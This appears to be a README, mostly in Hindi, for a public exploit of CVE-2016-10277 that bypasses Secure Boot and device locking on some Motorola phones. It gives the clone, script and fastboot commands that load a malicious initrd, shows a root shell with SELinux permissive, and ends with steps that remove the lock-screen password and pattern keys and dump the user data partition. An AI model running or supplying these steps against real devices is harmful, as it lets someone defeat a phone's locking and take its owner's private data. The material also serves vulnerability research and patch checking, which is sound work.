
CVE-2016-10277 का शोषण करके Secure Boot और Device Locking बायपास
अधिक जानकारी के लिए: https://alephsecurity.com/2017/06/07/initroot-moto/
यदि आप केवल यह जांचना चाहते हैं कि आपका डिवाइस असुरक्षित है या नहीं,
तो बिना किसी संशोधन के स्टॉक रैमडिस्क को फ्लैश करना अधिक तेज़ हो सकता है।
यदि यह आपका मामला है, तो बस initroot-*-STOCK*.cpio.gz देखें।
फ्लैशिंग और बूटलूप हल करना:
git clone https://github.com/leosol/initroot.git
cd xt1040 (or any other folder)
use ./run-malicious.sh, run-stockramfs.sh and solve-bootloop.sh (if you have any bootloop)
Or use the following commands:
fastboot flash aleph $FILE_NAME
fastboot oem config fsg-id "a initrd=SCRATCH+PAD,LENGTH"
fastboot continue
#use the following to solve bootloops
fastboot oem config fsg-id ""
रूट विशेषाधिकार जांचना:
root@debian-vaio:~/motoramfs/xt1040# adb devices
List of devices attached
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
T0092020C5 device
root@debian-vaio:~/motoramfs/xt1040# adb shell
root@peregrine:/ # getenforce
>Permissive
रूट के साथ क्या किया जा सकता है?
#remove authentication as pointed out by @kraftdenker (tested on xt1068)
mv /data/system/gatekeeper.password.key /data/system/_gatekeeper.password.key
mv /data/system/gatekeeper.pattern.key /data/system/_gatekeeper.pattern.key
#dump your data
adb pull /dev/block/platform/msm_sdcc.1/by-name/userdata
#or make it permanent